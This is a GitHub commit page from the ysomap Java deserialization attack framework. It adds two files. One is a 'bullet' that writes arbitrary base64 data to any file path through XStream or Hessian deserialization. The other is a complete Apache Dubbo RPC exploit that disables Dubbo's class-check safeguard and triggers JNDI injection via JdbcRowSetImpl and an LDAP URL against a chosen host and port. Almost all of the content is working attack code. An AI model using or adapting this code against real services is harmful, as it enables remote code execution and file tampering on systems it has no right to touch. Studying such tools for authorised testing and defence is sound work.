-
Notifications
You must be signed in to change notification settings - Fork 150
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
12 changed files
with
1,097 additions
and
14 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
44 changes: 44 additions & 0 deletions
44
core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithFW.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
package ysomap.bullets.jdk; | ||
|
||
import sun.swing.SwingLazyValue; | ||
import ysomap.bullets.AbstractBullet; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.common.annotation.*; | ||
|
||
import java.util.Base64; | ||
|
||
/** | ||
* @author wh1t3P1g | ||
* @since 2021/1/4 | ||
*/ | ||
@Bullets | ||
@Dependencies({"jdk"}) | ||
@Details("文件写入") | ||
@Targets({Targets.XSTREAM, Targets.HESSIAN}) | ||
@Authors({Authors.WH1T3P1G}) | ||
public class SwingLazyValueWithFW extends AbstractBullet<SwingLazyValue> { | ||
|
||
@NotNull | ||
@Require(name = "filepath", detail = "like /tmp/ok.txt") | ||
public String filepath; | ||
|
||
@NotNull | ||
@Require(name = "data", detail = "base64 data") | ||
public String data; | ||
|
||
@Override | ||
public SwingLazyValue getObject() throws Exception { | ||
String classname = "com.sun.org.apache.xml.internal.security.utils.JavaUtils"; | ||
String methodName = "writeBytesToFilename"; | ||
byte[] bytes = Base64.getDecoder().decode(data); | ||
Object[] evilargs = new Object[]{filepath, bytes}; | ||
return new SwingLazyValue(classname, methodName, evilargs); | ||
} | ||
|
||
public static Bullet newInstance(Object... args) throws Exception { | ||
Bullet bullet = new SwingLazyValueWithFW(); | ||
bullet.set("filepath", args[0]); | ||
bullet.set("data", args[1]); | ||
return bullet; | ||
} | ||
} |
238 changes: 238 additions & 0 deletions
238
core/src/main/java/ysomap/exploits/dubbo/DubboRPC2Exploit.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,238 @@ | ||
package ysomap.exploits.dubbo; | ||
|
||
import com.alibaba.com.caucho.hessian.io.Hessian2Output; | ||
import com.alibaba.com.caucho.hessian.io.SerializerFactory; | ||
import org.apache.commons.codec.DecoderException; | ||
import ysomap.common.annotation.*; | ||
import ysomap.common.util.Status; | ||
import ysomap.core.util.ByteHelper; | ||
import ysomap.core.util.SocketHelper; | ||
import ysomap.exploits.AbstractExploit; | ||
import ysomap.payloads.Payload; | ||
|
||
import java.io.ByteArrayOutputStream; | ||
import java.io.IOException; | ||
import java.util.HashMap; | ||
import java.util.LinkedHashMap; | ||
import java.util.Map; | ||
import java.util.Random; | ||
|
||
/** | ||
* @author wh1t3p1g | ||
* @since 2023/4/3 | ||
*/ | ||
@Exploits | ||
@Authors({Authors.WH1T3P1G}) | ||
@Require(bullets = {}, param = false) | ||
@Details("dubbo rpc 反序列化漏洞") | ||
public class DubboRPC2Exploit extends AbstractExploit { | ||
|
||
@NotNull | ||
@Require(name = "host", detail = "目标IP") | ||
public String host = null; | ||
|
||
@NotNull | ||
@Require(name = "port", type = "int",detail = "目标端口") | ||
public String port = "20880"; | ||
|
||
@NotNull | ||
@Require(name = "service", detail = "可利用的service classname") | ||
public String service = null; | ||
|
||
@NotNull | ||
@Require(name = "method", detail = "可利用的service method,带有Object参数") | ||
public String method = null; | ||
|
||
@NotNull | ||
@Require(name = "paramTypes", detail = "可利用的service method 参数类型列表,使用,分隔") | ||
public String paramTypes = null; | ||
|
||
// @NotNull | ||
public Payload payload; | ||
public String payloadName; | ||
|
||
@Override | ||
public void work() { | ||
try { | ||
if(paramTypes.contains("java.lang.Object") || paramTypes.contains("java.util.Map")){ | ||
Map<String, Object> payload = new LinkedHashMap<>(); | ||
payload.put("1", makeCheckerClosed()); | ||
payload.put("2", makeTrigger()); | ||
send(payload); | ||
}else{ | ||
send(makeCheckerClosed()); | ||
send(makeTrigger()); | ||
} | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
|
||
public void send(Object payload) throws DecoderException, IOException { | ||
byte[] data = generateRequest(payload); | ||
String ret = SocketHelper.send(host, Integer.parseInt(port), data, 5000); | ||
System.out.println(ret); | ||
} | ||
|
||
@Override | ||
public void stop() { | ||
setStatus(Status.STOPPED); | ||
} | ||
|
||
|
||
enum SerializeType { | ||
Hessian(2), | ||
Java(3), | ||
CompactedJava(4), | ||
FastJSON(6), | ||
NativeJava(7), | ||
Kryo(8), | ||
FST(9) | ||
; | ||
|
||
private byte code; | ||
|
||
SerializeType(int code){ | ||
this.code=(byte) code; | ||
} | ||
|
||
public byte getCode() { | ||
return code; | ||
} | ||
} | ||
|
||
enum ResponseType { | ||
RESPONSE_WITH_EXCEPTION(0), | ||
RESPONSE_VALUE(1), | ||
RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS(3), | ||
RESPONSE_VALUE_WITH_ATTACHMENTS(4), | ||
RESPONSE_NULL_VALUE_WITH_ATTACHMENTS(5) | ||
; | ||
|
||
public byte code; | ||
|
||
ResponseType(int code){ | ||
this.code=(byte) code; | ||
} | ||
|
||
public byte getCode() { | ||
return code; | ||
} | ||
} | ||
|
||
public static Map<String, Object> makeCheckerClosed(){ | ||
Map<String, Object> map2 = new HashMap<>(); | ||
map2.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker"); | ||
map2.put("OPEN_CHECK_CLASS", false); | ||
|
||
Map<String, Object> map1 = new HashMap<>(); | ||
map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker"); | ||
map1.put("INSTANCE", map2); | ||
return map1; | ||
} | ||
|
||
public static Map<String, Object> makeNormalObject(){ | ||
Map<String, Object> map2 = new HashMap<>(); | ||
map2.put("class", "com.example.demos.UserBean"); | ||
map2.put("message", "test"); | ||
return map2; | ||
} | ||
|
||
public static Map<String, Object> makeTrigger(){ | ||
Map<String, Object> map3 = new LinkedHashMap<>(); | ||
map3.put("class", "com.sun.rowset.JdbcRowSetImpl"); | ||
map3.put("dataSourceName", "ldap://127.0.0.1:1390/test"); | ||
map3.put("autoCommit", true); | ||
return map3; | ||
} | ||
|
||
// 参考 com.alibaba.dubbo.remoting.exchange.codec.ExchangeCodec#encodeRequest | ||
public byte[] generateRequest(Object payload) throws IOException, DecoderException { | ||
// header | ||
byte[] header = new byte[16]; | ||
short MAGIC = (short) 0xdabb; | ||
byte FLAG_REQUEST = (byte) 0x80; | ||
ByteHelper.short2bytes(MAGIC, header); | ||
header[2] = (byte) (FLAG_REQUEST | SerializeType.Hessian.getCode()); | ||
ByteHelper.long2bytes(new Random().nextInt(100000000), header, 4); | ||
// payload | ||
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | ||
Hessian2Output output = new Hessian2Output(baos); | ||
SerializerFactory sf = new SerializerFactory(); | ||
sf.setAllowNonSerializable(true); | ||
output.setSerializerFactory(sf); | ||
output.writeString("2.0.2"); // version | ||
|
||
// output.writeString("com.example.demo.service.DemoService"); // service | ||
// output.writeString("1.0.0"); // service version | ||
// output.writeString("sayHello"); | ||
// output.writeString("Ljava/lang/String;"); | ||
// output.writeString("test"); | ||
|
||
|
||
|
||
String[] types = paramTypes.split(","); | ||
Object[] args = new Object[types.length]; | ||
boolean flag = true; | ||
for(int i=0;i<types.length;i++){ | ||
String type = types[i]; | ||
if("java.lang.Object".equals(type) || "java.util.Map".equals(type)){ | ||
args[i] = payload; | ||
flag = false; | ||
}else{ | ||
args[i] = null; | ||
} | ||
} | ||
if(flag){ | ||
args[0] = payload; | ||
} | ||
|
||
output.writeString(service); // service | ||
output.writeString("1.0.0"); // service version | ||
output.writeString("$invoke"); | ||
output.writeString("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;"); | ||
output.writeString(method); // name | ||
output.writeObject(types); // types | ||
output.writeObject(args); // args | ||
|
||
HashMap hkhash = new HashMap(); | ||
hkhash.put("generic", "raw.return"); | ||
output.writeObject(hkhash); | ||
output.flush(); | ||
output.close(); | ||
// pack | ||
ByteHelper.int2bytes(baos.size(), header, 12); | ||
ByteArrayOutputStream out = new ByteArrayOutputStream(); | ||
out.write(header); | ||
out.write(baos.toByteArray()); | ||
|
||
return out.toByteArray(); | ||
} | ||
|
||
public static byte[] generateResponse(Object payload) throws IOException, DecoderException { | ||
// header | ||
byte[] header = new byte[16]; | ||
short MAGIC = (short) 0xdabb; | ||
ByteHelper.short2bytes(MAGIC, header); | ||
header[2] = SerializeType.Hessian.getCode(); | ||
header[3] = (byte) 20; // status ok | ||
ByteHelper.long2bytes(new Random().nextInt(100000000), header, 4); | ||
// payload | ||
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | ||
Hessian2Output output = new Hessian2Output(baos); | ||
SerializerFactory sf = new SerializerFactory(); | ||
sf.setAllowNonSerializable(true); | ||
output.setSerializerFactory(sf); | ||
output.writeInt(ResponseType.RESPONSE_WITH_EXCEPTION.getCode()); | ||
output.writeObject(payload); | ||
output.flush(); | ||
output.close(); | ||
// pack | ||
ByteHelper.int2bytes(baos.size(), header, 12); | ||
ByteArrayOutputStream out = new ByteArrayOutputStream(); | ||
out.write(header); | ||
out.write(baos.toByteArray()); | ||
|
||
return out.toByteArray(); | ||
} | ||
} |
Oops, something went wrong.